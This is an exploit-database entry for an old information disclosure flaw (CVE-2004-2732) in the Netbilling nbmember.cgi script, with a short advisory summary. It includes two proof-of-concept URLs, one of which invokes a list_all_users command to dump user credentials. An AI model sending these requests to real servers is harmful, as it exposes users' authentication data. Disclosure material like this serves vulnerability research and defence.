Exploit Netbilling NBMEMBER Script - Information Disclosure

[Exploiter]

EDB-ID

24700

Проверка EDB

1. Пройдено

Автор

LS

Тип уязвимости

WEBAPPS

Платформа

CGI

CVE

cve-2004-2732

Дата публикации

2004-10-22

Netbilling NBMEMBER Script - Information Disclosure

source: https://www.securityfocus.com/bid/11504/info

Netbilling 'nbmember.cgi' script is reported prone to an information disclosure vulnerability. This issue may allow remote attackers to gain access to user authentication credentials and potentially sensitive configuration information.

http://www.example.com/cgi-bin/nbmember.cgi?cmd=test
http://www.example.com/cgi-bin/nbmember.cgi?cmd=list_all_users&keyword=hereistheaccesskeyword